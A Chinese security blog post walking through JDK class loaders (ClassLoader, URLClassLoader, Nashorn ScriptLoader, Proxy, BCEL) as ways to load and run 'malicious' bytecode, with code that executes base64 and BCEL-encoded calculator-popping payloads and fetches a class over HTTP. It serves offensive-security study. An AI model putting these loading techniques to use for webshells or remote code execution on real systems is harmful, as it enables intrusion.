这篇文章讲讲类加载的一些方式,用到的类都是JDK自带的,第三方的类没有放到这篇文章中。另外涉及到反序列化中常见利用类的也准备放到后续文章中。
// 类加载
(1)java.langClassLoader #loadClass #findClass #defineClass(自定义类加载)
(2)java.net.URLClassLoader #newInstance #loadClass
(3)jdk.nashorn.internal.runtime.ScriptLoader #installClass
(4)java.lang.reflect.Proxy #defineClass0
(5)com.sun.org.apache.bcel.internal.util.ClassLoader #loadClass
(6)com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl (放在后面的反序列化文章中吧)
(1)ClassLoader
ClassLoader直译就是类加载器,将Class文件加载到JVM中。ClassLoader是所有类的基类,每个Class对象都包含了一个定义它的ClassLoader的引用。
ClassLoader主要包括三个方法:loadClass、findClass、defineClass
。
loadClass:根据binary name加载Class,如果目标类没被加载过调用父类加载器
findClass:根据binary name查找Class位置,获取字节码数组
defineClass:将字节码加载到JVM,转换为Class对象。defineClass获得的对象需要进行resolve才算完成实例化,或者用newInstance创建
ClassLoader #loadClass
protected Class<?> loadClass(String name, boolean resolve) {
Class<?> c = findLoadedClass(name); //此class是否被加载过
if (c == null) {
if (parent != null) {
c = parent.loadClass(name, false); //父加载器加载,双亲委派结构由下至上:AppClassLoader、ExtClassLoader、BootstrapClassLoader
}
if (c == null) {
c = findClass(name); //将class加载到内存
}
}
return c;
}
ClassLoader可以加载类,Class.forName()
也可以,因为它根本上也是调用的ClassLoader,区别在于Class.forName()
会默认对类进行初始化(执行static代码块),而ClassLoader.loadClass()
默认不进行初始化,只将类加载到JVM。
public static Class<?> forName(Module module, String name) {
...
ClassLoader cl;
SecurityManager sm = System.getSecurityManager();
if (sm != null) {
Class<?> caller = Reflection.getCallerClass(); // 其他同名forName方法可以指定ClassLoader
...
} else {
cl = module.getClassLoader();
}
if (cl != null) {
return cl.loadClass(module, name);
} else {
return BootLoader.loadClass(module, name);
}
}
ClassLoader #defineClass
defineClass可以将字节码byte[]
解析成Class对象,但是所有的defineClass都是protected
的,所以无法在外部调用。想要使用只有两种方式:(1)继承自ClassLoader,在子类中调用父类的defineClass
(2)反射调用。defineClass也是冰蝎的思路
public class ClassLoadTest {
public static void main(String[] args) throws IOException, IllegalAccessException, InstantiationException {
// 恶意类的base64编码
String cmdb64="yv66vgAAADQALwoACgAXCQAYABkIABoKABsAHAoAHQAeCAAfCgAdACAHACEHACIHACMBAAY8aW5pdD4BAAMoKVYBAARDb2RlAQAPTGluZU51bWJlclRhYmxlAQASTG9jYWxWYXJpYWJsZVRhYmxlAQAEdGhpcwEABkxFdmlsOwEACDxjbGluaXQ+AQANU3RhY2tNYXBUYWJsZQcAIQEAClNvdXJjZUZpbGUBAAlFdmlsLmphdmEMAAsADAcAJAwAJQAmAQAIRXZpbCBydW4HACcMACgAKQcAKgwAKwAsAQASb3BlbiAtYSBDYWxjdWxhdG9yDAAtAC4BABNqYXZhL2xhbmcvRXhjZXB0aW9uAQAERXZpbAEAEGphdmEvbGFuZy9PYmplY3QBABBqYXZhL2xhbmcvU3lzdGVtAQADb3V0AQAVTGphdmEvaW8vUHJpbnRTdHJlYW07AQATamF2YS9pby9QcmludFN0cmVhbQEAB3ByaW50bG4BABUoTGphdmEvbGFuZy9TdHJpbmc7KVYBABFqYXZhL2xhbmcvUnVudGltZQEACmdldFJ1bnRpbWUBABUoKUxqYXZhL2xhbmcvUnVudGltZTsBAARleGVjAQAnKExqYXZhL2xhbmcvU3RyaW5nOylMamF2YS9sYW5nL1Byb2Nlc3M7ACEACQAKAAAAAAACAAEACwAMAAEADQAAAC8AAQABAAAABSq3AAGxAAAAAgAOAAAABgABAAAAAQAPAAAADAABAAAABQAQABEAAAAIABIADAABAA0AAABXAAIAAQAAABayAAISA7YABLgABRIGtgAHV6cABEuxAAEAAAARABQACAADAA4AAAASAAQAAAAEAAgABQARAAYAFQAHAA8AAAACAAAAEwAAAAcAAlQHABQAAAEAFQAAAAIAFg==";
BASE64Decoder decoder=new sun.misc.BASE64Decoder();
new U(ClassLoadTest.class.getClassLoader()).g(decoder.decodeBuffer(cmdb64)).newInstance();
}
public static class U extends ClassLoader{
U(ClassLoader c){
super(c);
}
public Class g(byte []bytes){
return super.defineClass(bytes,0,bytes.length);
}
}
}
ClassLoader #findClass
自定义ClassLoader时需要重写findClass
public class findClassTest {
public static void main(String[] args) throws ClassNotFoundException, IllegalAccessException, InstantiationException {
new ClassLoader(){
@Override
public Class<?> loadClass(String name) throws ClassNotFoundException {
if (name.contains("Evil")){
return findClass(name);
}
return super.loadClass(name);
}
@Override
protected Class<?> findClass(String name) throws ClassNotFoundException {
try{
String cmdb64="yv66vgAAADQALwoACgAXCQAYABkIABoKABsAHAoAHQAeCAAfCgAdACAHACEHACIHACMBAAY8aW5pdD4BAAMoKVYBAARDb2RlAQAPTGluZU51bWJlclRhYmxlAQASTG9jYWxWYXJpYWJsZVRhYmxlAQAEdGhpcwEABkxFdmlsOwEACDxjbGluaXQ+AQANU3RhY2tNYXBUYWJsZQcAIQEAClNvdXJjZUZpbGUBAAlFdmlsLmphdmEMAAsADAcAJAwAJQAmAQAIRXZpbCBydW4HACcMACgAKQcAKgwAKwAsAQASb3BlbiAtYSBDYWxjdWxhdG9yDAAtAC4BABNqYXZhL2xhbmcvRXhjZXB0aW9uAQAERXZpbAEAEGphdmEvbGFuZy9PYmplY3QBABBqYXZhL2xhbmcvU3lzdGVtAQADb3V0AQAVTGphdmEvaW8vUHJpbnRTdHJlYW07AQATamF2YS9pby9QcmludFN0cmVhbQEAB3ByaW50bG4BABUoTGphdmEvbGFuZy9TdHJpbmc7KVYBABFqYXZhL2xhbmcvUnVudGltZQEACmdldFJ1bnRpbWUBABUoKUxqYXZhL2xhbmcvUnVudGltZTsBAARleGVjAQAnKExqYXZhL2xhbmcvU3RyaW5nOylMamF2YS9sYW5nL1Byb2Nlc3M7ACEACQAKAAAAAAACAAEACwAMAAEADQAAAC8AAQABAAAABSq3AAGxAAAAAgAOAAAABgABAAAAAQAPAAAADAABAAAABQAQABEAAAAIABIADAABAA0AAABXAAIAAQAAABayAAISA7YABLgABRIGtgAHV6cABEuxAAEAAAARABQACAADAA4AAAASAAQAAAAEAAgABQARAAYAFQAHAA8AAAACAAAAEwAAAAcAAlQHABQAAAEAFQAAAAIAFg==";
BASE64Decoder decoder=new sun.misc.BASE64Decoder();
byte[] bytes=decoder.decodeBuffer(cmdb64);
PermissionCollection permissionCollection=new Permissions();
permissionCollection.add(new AllPermission());
ProtectionDomain protectionDomain=new ProtectionDomain(new CodeSource(null, (Certificate[])null),permissionCollection,this,null);
return this.defineClass(name,bytes,0,bytes.length,protectionDomain);
}catch (Exception e){e.printStackTrace();}
return super.findClass(name);
}
}.loadClass("Evil").newInstance();
}
}
上述两个demo中用到的恶意类如下

Java类加载机制结构从上至下为:ClassLoader -> SecureClassLoader -> URLClassLoader-> ExtClassLoader | AppClassLoader | ...
。三种父加载器代表的加载路径如下
BootstrapClassLoader:{jdk}/lib 或 -Xbootclasspath (识别的一般为java、javax、sun等开头的)
ExtClassLoader:{jdk}/lib/ext 或 -Djava.ext.dir
AppClassLoader:java -classpath 或 -D java.class.path (应用程序的classpath路径)
(2)URLClassLoader
URLClassLoader是类加载器的一个子类,用于从jar
文件和URL
来加载类和资源。想要实现自定义ClassLoader一般也要先继承URLClassLoader
(ExtClassLaoder、AppClassLoader
都是URLClassLaoder
子类)。URLClassLoader重写了findClass
方法,实现了在指定路径下查找class文件并加载到内存
protected Class<?> findClass(final String name) {
final Class<?> result;
String path = name.replace('.', '/').concat(".class"); //name代表类的全限定名
Resource res = ucp.getResource(path, false); //ucp:URL[] 封装,在URL[] 路径列表里查找要装载的类
if (res != null) {
try {
return defineClass(name, res); //将类装在jvm内存
} ...
return result;
}
URLClassLoader有多种构造器,但至少需要传入URL[]
参数,它代表了类所在的路径,这个路径可以是文件、jar、流等。解析一下URL类
URL解析
URL构造方法也很多,看一下最有代表性的
public URL(String protocol, String host, int port, String file, URLStreamHandler handler) throws MalformedURLException {
protocol = protocol.toLowerCase();
this.protocol = protocol;
if (host.indexOf(':') >= 0 && !host.startsWith("[")) {
host = "["+host+"]";
}
this.host = host;
handler = getURLStreamHandler(protocol) // handler不能为Null
跟进一下getURLStreamHandler
方法,根据传入的protocol会调用sun.net.protocol.xxx.Handler
,xxx
即为传入的protocol。
static URLStreamHandler getURLStreamHandler(String protocol) {
packagePrefixList += "sun.net.www.protocol";
StringTokenizer packagePrefixIter = new StringTokenizer(packagePrefixList, "|");
String packagePrefix = packagePrefixIter.nextToken().trim();
try {
String clsName = packagePrefix + "." + protocol + ".Handler";
Class<?> cls = null;
try {
cls = Class.forName(clsName);
} catch (ClassNotFoundException e) {
ClassLoader cl = ClassLoader.getSystemClassLoader();
if (cl != null) {
cls = cl.loadClass(clsName);
}
}
if (cls != null) {
handler = (URLStreamHandler)cls.newInstance();
}
}
对于不同的协议都有各自的Handler实现,支持的协议如下,那么URLClassLoader类加载的方式也相应的有很多

URLClassLoader用法
http协议加载恶意类
// #1
URL[] urls = {new URL("http://localhost:8000/xxx")};
URLClassLoader loader = URLClassLoader.newInstance(urls);
// #2
URLClassLoader loader=new URLClassLoader(new URL[]{new URL("http://localhost:8000/xxx")});
Class c = loader.loadClass("Evil");
Method f = c.getMethod("attack");
f.invoke(null, null);
file协议,既可以加载文件,也可以通过动态编译的方式来加载恶意类,这样可以避免使用字节码工具Javassist、ASM等对文件进行修改。
public static void main(String[] args) throws IOException {
Path rootDirectory = FileSystems.getDefault().getPath("D:\\POC_Test\\src\\main\\java\\JavaExecTest");
// 根据根目录rootDirectory创建文件夹
String tmpPath= Files.createTempDirectory(rootDirectory,"axisx").toFile().getPath();
int id=new Random().nextInt(100);
// 将恶意文件的代码用字符串的形式拼接
StringBuilder stringBuilder=new StringBuilder()
.append("import java.io.IOException;\n")
.append("public class axisx"+id+" {\n")
.append(" public axisx"+id+"() throws IOException {\n")
.append(" Runtime.getRuntime().exec(\"calc\");\n")
.append(" }\n")
.append("}\n");
// 将恶意文件的代码写入到文件夹下的java文件
Files.write(Paths.get(tmpPath+ File.separator+"axisx"+id+".java"),stringBuilder.toString().getBytes(StandardCharsets.UTF_8));
/*
* 动态编译部分
*/
// 使用JavaCompiler动态编译源程序
JavaCompiler javaCompiler= ToolProvider.getSystemJavaCompiler();
// 收集诊断信息(编译过程中产生的问题)
DiagnosticCollector<JavaFileObject> diagnosticCollector=new DiagnosticCollector<>();
// JavaFileManager用来创建JavaFileObject
StandardJavaFileManager standardJavaFileManager=javaCompiler.getStandardFileManager(diagnosticCollector, Locale.CHINA, Charset.forName("UTF-8"));
Iterable fileObject=standardJavaFileManager.getJavaFileObjects(tmpPath+File.separator+"axisx"+id+".java");
// 构建编译器任务
javaCompiler.getTask(null,standardJavaFileManager,diagnosticCollector,null,null,fileObject).call();
try{
new URLClassLoader(new URL[]{new URL("file:"+tmpPath+File.separator)}).loadClass("axisx"+id).newInstance();
}catch (Exception e){
System.out.println("Something wrong");
}
}
所谓编译指的是将java源代码转换成class字节码的过程,JDK提供的API在javax.tools
包中,基本用法看上述动态编译部分。
(3)ScriptLoader
jdk.nashorn.internal.runtime.ScriptLoader
,看包的路径nashorn
就知道这个和上一篇WebShell1中提到的JS命令执行相关。nashorn
从JDK8开始引入

有了上面ClassLoader的基础,可以知道installClass可以用于加载字节码。另外这几个方法都是
protected
的,想要调用需要继承或反射。这里用反射来写。
public class ScriptLoadTest {
public static void main(String[] args) throws ClassNotFoundException, NoSuchMethodException, IllegalAccessException, InvocationTargetException, InstantiationException, IOException {
// 获取ScriptLoader对象
Class cls=Class.forName("jdk.nashorn.internal.runtime.ScriptLoader");
Constructor constructor=cls.getDeclaredConstructor(Context.class);
constructor.setAccessible(true);
Object o=constructor.newInstance(new jdk.nashorn.internal.runtime.Context(new Options(""),null,null));
// 执行installClass方法
Method m1=cls.getDeclaredMethod("installClass", String.class, byte[].class, CodeSource.class);
m1.setAccessible(true);
String cmdb64="yv66vgAAADQALwoACgAXCQAYABkIABoKABsAHAoAHQAeCAAfCgAdACAHACEHACIHACMBAAY8aW5pdD4BAAMoKVYBAARDb2RlAQAPTGluZU51bWJlclRhYmxlAQASTG9jYWxWYXJpYWJsZVRhYmxlAQAEdGhpcwEABkxFdmlsOwEACDxjbGluaXQ+AQANU3RhY2tNYXBUYWJsZQcAIQEAClNvdXJjZUZpbGUBAAlFdmlsLmphdmEMAAsADAcAJAwAJQAmAQAIRXZpbCBydW4HACcMACgAKQcAKgwAKwAsAQASb3BlbiAtYSBDYWxjdWxhdG9yDAAtAC4BABNqYXZhL2xhbmcvRXhjZXB0aW9uAQAERXZpbAEAEGphdmEvbGFuZy9PYmplY3QBABBqYXZhL2xhbmcvU3lzdGVtAQADb3V0AQAVTGphdmEvaW8vUHJpbnRTdHJlYW07AQATamF2YS9pby9QcmludFN0cmVhbQEAB3ByaW50bG4BABUoTGphdmEvbGFuZy9TdHJpbmc7KVYBABFqYXZhL2xhbmcvUnVudGltZQEACmdldFJ1bnRpbWUBABUoKUxqYXZhL2xhbmcvUnVudGltZTsBAARleGVjAQAnKExqYXZhL2xhbmcvU3RyaW5nOylMamF2YS9sYW5nL1Byb2Nlc3M7ACEACQAKAAAAAAACAAEACwAMAAEADQAAAC8AAQABAAAABSq3AAGxAAAAAgAOAAAABgABAAAAAQAPAAAADAABAAAABQAQABEAAAAIABIADAABAA0AAABXAAIAAQAAABayAAISA7YABLgABRIGtgAHV6cABEuxAAEAAAARABQACAADAA4AAAASAAQAAAAEAAgABQARAAYAFQAHAA8AAAACAAAAEwAAAAcAAlQHABQAAAEAFQAAAAIAFg==";
BASE64Decoder decoder=new sun.misc.BASE64Decoder();
Class E=(Class)m1.invoke(o,"Evil",decoder.decodeBuffer(cmdb64),new CodeSource(null,(Certificate[]) null));
E.newInstance();
}
}
(4)Proxy
java.lang.reflect.Proxy
提供用于创建动态代理类和实例的静态方法。
代理
简单说一下代理。Java中的接口是不能被实例化的,需要先编写实现类,然后再实例化,这种叫做“静态”。demo如下
// 接口
public interface Hello {
void morning(String name);
}
// 实现类
public class HelloWorld implements Hello {
public void morning(String name) {
System.out.println("Good morning, " + name);
}
}
// 实例化
Hello hello = new HelloWorld();
hello.morning("Bob");
而动态代理(Dynamic Proxy)的机制则是可以在运行期动态创建某个interface的实例。Proxy.newProxyInstance()
直接创建接口对象。
InvocationHandler handler = new InvocationHandler() { // InvocationHandler实例实现接口方法调用
@Override
public Object invoke(Object proxy, Method method, Object[] args) throws Throwable {
if (method.getName().equals("morning")) {
System.out.println("Good morning, " + args[0]);
}
return null;
}
};
Hello hello = (Hello) Proxy.newProxyInstance( // 创建接口实例,类型转型为接口类型
Hello.class.getClassLoader(), // 传入ClassLoader
new Class[] { Hello.class }, // 传入要实现的接口
handler); // 传入处理调用方法的InvocationHandler
hello.morning("AxisX");
我们看到上述Hello
接口我们设置是public
的,但是如果接口是非公共的,那代理类必须由接口的定义加载器定义。通过defineClass0
方法定义生成的代理类。Proxy#defineClass0
和ClassLoader#defineClass
用法类似
public class ProxyDefineTest {
public static void main(String[] args) throws NoSuchMethodException, IOException, InvocationTargetException, IllegalAccessException, InstantiationException {
ClassLoader classLoader=ClassLoader.getSystemClassLoader();
Method m1= Proxy.class.getDeclaredMethod("defineClass0", ClassLoader.class, String.class, byte[].class, int.class, int.class);
m1.setAccessible(true);
String cmdb64="yv66vgAAADQALwoACgAXCQAYABkIABoKABsAHAoAHQAeCAAfCgAdACAHACEHACIHACMBAAY8aW5pdD4BAAMoKVYBAARDb2RlAQAPTGluZU51bWJlclRhYmxlAQASTG9jYWxWYXJpYWJsZVRhYmxlAQAEdGhpcwEABkxFdmlsOwEACDxjbGluaXQ+AQANU3RhY2tNYXBUYWJsZQcAIQEAClNvdXJjZUZpbGUBAAlFdmlsLmphdmEMAAsADAcAJAwAJQAmAQAIRXZpbCBydW4HACcMACgAKQcAKgwAKwAsAQASb3BlbiAtYSBDYWxjdWxhdG9yDAAtAC4BABNqYXZhL2xhbmcvRXhjZXB0aW9uAQAERXZpbAEAEGphdmEvbGFuZy9PYmplY3QBABBqYXZhL2xhbmcvU3lzdGVtAQADb3V0AQAVTGphdmEvaW8vUHJpbnRTdHJlYW07AQATamF2YS9pby9QcmludFN0cmVhbQEAB3ByaW50bG4BABUoTGphdmEvbGFuZy9TdHJpbmc7KVYBABFqYXZhL2xhbmcvUnVudGltZQEACmdldFJ1bnRpbWUBABUoKUxqYXZhL2xhbmcvUnVudGltZTsBAARleGVjAQAnKExqYXZhL2xhbmcvU3RyaW5nOylMamF2YS9sYW5nL1Byb2Nlc3M7ACEACQAKAAAAAAACAAEACwAMAAEADQAAAC8AAQABAAAABSq3AAGxAAAAAgAOAAAABgABAAAAAQAPAAAADAABAAAABQAQABEAAAAIABIADAABAA0AAABXAAIAAQAAABayAAISA7YABLgABRIGtgAHV6cABEuxAAEAAAARABQACAADAA4AAAASAAQAAAAEAAgABQARAAYAFQAHAA8AAAACAAAAEwAAAAcAAlQHABQAAAEAFQAAAAIAFg==";
BASE64Decoder decoder=new sun.misc.BASE64Decoder();
byte[] classBytes=decoder.decodeBuffer(cmdb64);
String className="Evil";
Class E=(Class) m1.invoke(null,classLoader,className,classBytes,0,classBytes.length);
E.newInstance();
}
}
(5)BCEL
BCEL中也有一个ClassLoader,com.sun.org.apache.bcel.internal.util.ClassLoader
,限制:JDK<8u251,这个JDK版本之后ClassLoader被取消了
BCEL全称Byte Code Engineering Library
,翻译过来就是字节码工程库,用来操作Java类文件。它位于原生JDK,com.sun.org.apache.bcel
。主要包含三个文件夹classfile、generic、util和Constants接口和Repository类(将类变为JavaClass对象)。
classfile:包含描述类文件的“静态”约束的类的包,即反映类文件格式并且不用于字节码修改。主要的数据结构称为 JavaClass,其中包含方法、字段等
-JavaClass、Field、Method、Attribute、InnerClass、SourceFile、Code、ClassParser、ConstantPool
...
generic:用于动态生成或修改JavaClass或Method对象的包
-Type、MethodGen、FieldGen、ClassGen、ConstantPoolGen、Instruction
...
util:各种代码示例和实用程序
常用的两个。Repository
用于将一个Java Class先转换成原生字节码。Utility
用于将原生的字节码转换成BCEL格式的字节码。
BECL很重要的一个应用就是作为类加载器。查看源码可以看到loadClass是从class_name
中提取Class的字节数据
private String[] ignored_packages = {
"java.", "javax.", "sun."
};
protected Class loadClass(String class_name, boolean resolve)
throws ClassNotFoundException
{
Class cl = null;
/* First try: lookup hash table. */
if((cl=(Class)classes.get(class_name)) == null) {
/* Second try: Load system class using system class loader.*/
for(int i=0; i < ignored_packages.length; i++) {
if(class_name.startsWith(ignored_packages[i])) {
cl = deferTo.loadClass(class_name); //对于java. javax. sun.这些名字开头的包用系统的java.lang.ClassLoader加载
break;
}
}
if(cl == null) {
JavaClass clazz = null;
/* Third try: Special request?*/
if(class_name.indexOf("$$BCEL$$") >= 0)
// createClass源码见下方
clazz = createClass(class_name);
else { // Fourth try: Load classes via repository
if ((clazz = repository.loadClass(class_name)) != null) {
clazz = modifyClass(clazz);
}...
if(clazz != null) {
byte[] bytes = clazz.getBytes();
cl = defineClass(class_name, bytes, 0, bytes.length);
} else // Fourth try: Use default class loader
cl = Class.forName(class_name);
}
if(resolve)
resolveClass(cl);
}
classes.put(class_name, cl);
return cl;
}
ClassLoader会根据$$BCEL$$
来查找位置,该字符串之前的内容被认为是包名,之后的八个字符被认为是类名。decode
是将读取的字符串转为字节数组,encode
将字节数组转为字符串。
protected JavaClass createClass(String class_name) {
int index = class_name.indexOf("$$BCEL$$");
String real_name = class_name.substring(index + 8);
...
byte[] bytes = Utility.decode(real_name, true);//decode
在源码中encode有这样的注释,字节码编码成字符串时,字符串只包含a~z,A~Z,0~9,_,$
。如果当前字节的ASCII值已经是一个有效的Java标识符部分(这部分由JavaWriter实现),那么就让它保持原样。否则,它会将转义字符($
)写在后面。
那么简单来说,在利用时,先将恶意类转换为BCEL字符串,然后利用BCEL的ClassLoader
进行加载即可
public class BCELTest {
public static void main(String[] args) throws IOException, ClassNotFoundException, IllegalAccessException, InstantiationException, NoSuchMethodException, InvocationTargetException {
Path path = Paths.get("/xxx/Evil.class");
byte[] bytes = Files.readAllBytes(path);
String code= Utility.encode(bytes,true);
System.out.println(code);
new ClassLoader().loadClass("$$BCEL$$"+code).newInstance();
}
}
另外,在文章的最初提到过, Class.forName
也可以用来加载类,只是它自带初始化,所以BCEL还可以利用Class.forName
的方式来写,第二个参数代表是否初始化,第三个参数代表加载的ClassLoader(传入com.sun.org.apache.bcel.internal.util.ClassLoader
即可)
ClassLoader classLoader= new ClassLoader();
String bcelCode="$$BCEL$$$l$8b$I$A$A$A$A$A$A$AmQ$cbn$T1$U$3dN$sq2L$a1$992$e5MSZhRhg$c3$$$V$9b$aal$Y$a0$oU$bbv$8c$V$5c$s$e3h$e2$a9$ca$X$b1$$$8b$82X$f0$B$7c$U$e2$da$94$3e$E$96$7c$af$ee9$f7$9c$eb$c7$cf_$df$7f$Ax$8e4D$88$5bm$dc$c6$9d$W$ee$86$b8$87$fb$n$k$e0a$LK$$w9$969$kq$ac04$b7t$a1$ed$L$86z$af$bf$cf$Ql$9b$f7$8a$e1F$a6$L$f5$a6$9a$8cT$b9$tF9$nqf$a4$c8$f7E$a9$5d$7d$G$G$f6$83$9e$91G$b6s$a4$f3$BCkK$e6gvsC$x$e4$c7$d7b$ea$5bi$mC84U$v$d5K$ed$a4m$t$d9$3c$UG$o$c25D$i$ab$R$k$e3$Jy8$a2$5bV$F$c7Z$84$k$fa$i$eb$R$9e$e2$Z$9d$c1LU$d1$dd$Q$ddm$91$cb$w$X$d6$94$R6$b0$c9$b0$e0$8c$d2$5c$U$e3t$e7X$aa$a9$d5$a6$a0$e39$x$86$f9$L$f2$ed$e8PI$7b$F$g$7e$9aY5$a1$fb$9b$8a$88$q$f3$8c6$e9n$a9$L$3b$b4$a5$S$93$c1$df$BWa$G$3euUN$a3$92$5ev$c9$d2$S$3c$k$b8$f7$ec$5c$a0$ef$aa$c2$ea$J$5d$3d$i$x$7b$5e$q$bd$7e$f6O$P$N$M$d4$b1$92$Mk$ff$f3$bd$E$ed$96F$aa$d9l$80e$b4$e9$cf$dd$aa$81$b9$X$a58GUJ$99Qn$ac$7f$F$3b$f1$f4u$8aM$P$d2GS$8c$fe4$60$k$j$ca$z$c4$e7$e2$Do$G$y$7eA$z$ae$9f$o$f8$86F$dc$3c$F$3f$f8$8c$e0$d5$89$e7$3a$b8I$9a$baw$8d$RP$M$a8n$Q$deD$C$ee$t$d4h$_$d0$e6$a8$edq$ea$ta$e2$e1$c5$dfb$c3$e7P$b3$C$A$A";
// new ClassLoader().loadClass(bcelCode).newInstance();
Class.forName(bcelCode,true,classLoader);
网友评论